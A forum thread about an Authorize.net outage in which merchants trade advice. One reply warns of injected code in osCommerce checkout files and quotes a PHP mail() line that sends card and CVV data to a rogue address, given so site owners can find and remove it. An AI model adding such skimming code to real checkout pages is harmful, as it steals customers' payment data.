Authorize.net is down

Recommended Posts

Authorize.net is down. Apparently, there was a fire in their datacenter.

Here's a small story about it:

http://www.dslreports.com/shownews/Credit-...-Offline-103256

Their website is completely down, and they don't answer their phones.

Does anyone have any more information?

I don't know if they are going to be able to get back up anytime soon, and all my credit card transactions are timing out.

Any suggestions on how to get an account with a new payment processor really quickly, and set things up with them? Any other suggestions on what to do?

Help!!!!!

If you have a PayPal account you could route to that for now.

Not sure if this is related to the Authorize.net outage. When I was alerted that the credit card transactions were not processing, I started looking into the pages that were hanging up. Inspect these files: checkout_payment.php, checkout_confirmation.php, checkout_process.php . Verify that there is no added scripts which will email the CC info to a rogue address. I found this on 2 sites I maintain so far. Both using heavily modded versions of OsCommerce 2.2. Be sure to remove this code. The line of code that instructs it to mail the vital info is something like this:

mail("rogue.email@public_email.com","Cvv - Site $site!",$message123,$headers123)

Removing the rogue code is only a temporary fix.

 

Without changing anything else it's only a matter of time before they get hacked again.


If I suggest you edit any file(s) make a backup first - I'm not perfect and neither are you.
